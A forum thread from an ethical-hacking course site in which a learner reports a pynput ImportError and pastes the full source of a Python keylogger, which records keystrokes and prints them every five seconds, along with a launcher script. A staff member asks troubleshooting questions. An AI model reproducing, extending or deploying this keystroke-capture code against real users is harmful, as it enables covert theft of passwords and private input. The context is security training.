- This topic has 3 replies, 2 voices, and was last updated 4 years ago by .
- You must be logged in to reply to this topic.
I have python3, installed pynput and I’m getting error trying to run the keylogger.py code on my terminal.
Traceback (most recent call last):
File “zlogger.py”, line 2, in <module>
import keylogger
File “/root/PycharmProjects/Keylogger/keylogger.py”, line 2, in <module>
import pynput.keyboard
ImportError: No module named pynput.keyboard
KEYLOGGER CODE
#!/usr/bin/env python
import pynput.keyboard
import threading
log = “”
class Keylogger:
def process_key_press(self, key):
global log
try:
log = log + str(key.char)
except AttributeError:
if key == key.space:
log = log + ” ”
else:
log = log + ” ” + str(key) + ” ”
def report(self):
global log
print(log)
log = “”
timer = threading.Timer(5, self.report)
timer.start()
def start(self):
Keyboard_listener = pynput.keyboard.Listener(on_press=self.process_key_press)
with keyboard_listener:
self.report()
keyboard_listener.join()
Zlogger Code
#!/usr/bin/env python
import keylogger
my_keylogger = keylogger.Keylogger()
my_keylogger.start()
Hi!
Did you also installed pynput for python3?
Let me know.
Diego
Yes, I did. I am stuck I have no idea what else to do.
Hi!
How are you running the code? Can you share a screenshot of the command used and the result please?
Thanks!
Diego
Not a member yet? Register now
Are you a member? Login now
Enroll in this course to access this lesson!
All of our courses include:
✔ Lifetime, unlimited access to course materials & training videos.
✔ Verifiable certificate of completion from zSecurity, signed by the course instructor, Zaid.
✔ Get answers from our Support Team within a maximum of 15 hours.
✔ Unlimited Updates.
Get free 1 month VIP membership per course with:
✔ Live mentorship and Q&A session with the course instructor, Zaid.
✔ Instant support from community members through our private discord channel.
✔ Daily updates with the latest tutorials & news in the hacking world.
✔ Daily resources like CTFs, bug bounty programs, onion services and more!
✔ Access our VIP community & connect with like-minded people.
✔ Discounts on other zSecurity products and services.
This website uses cookies so that we can provide you with the best user experience possible. Cookie information is stored in your browser and performs functions such as recognising you when you return to our website and helping our team to understand which sections of the website you find most interesting and useful.
Strictly Necessary Cookie should be enabled at all times so that we can save your preferences for cookie settings.
This website uses Google Analytics and Linkedin to collect anonymous information such as the number of visitors to the site, and the most popular pages.
Keeping this cookies enabled helps us to improve our website.
Please enable Strictly Necessary Cookies first so that we can save your preferences!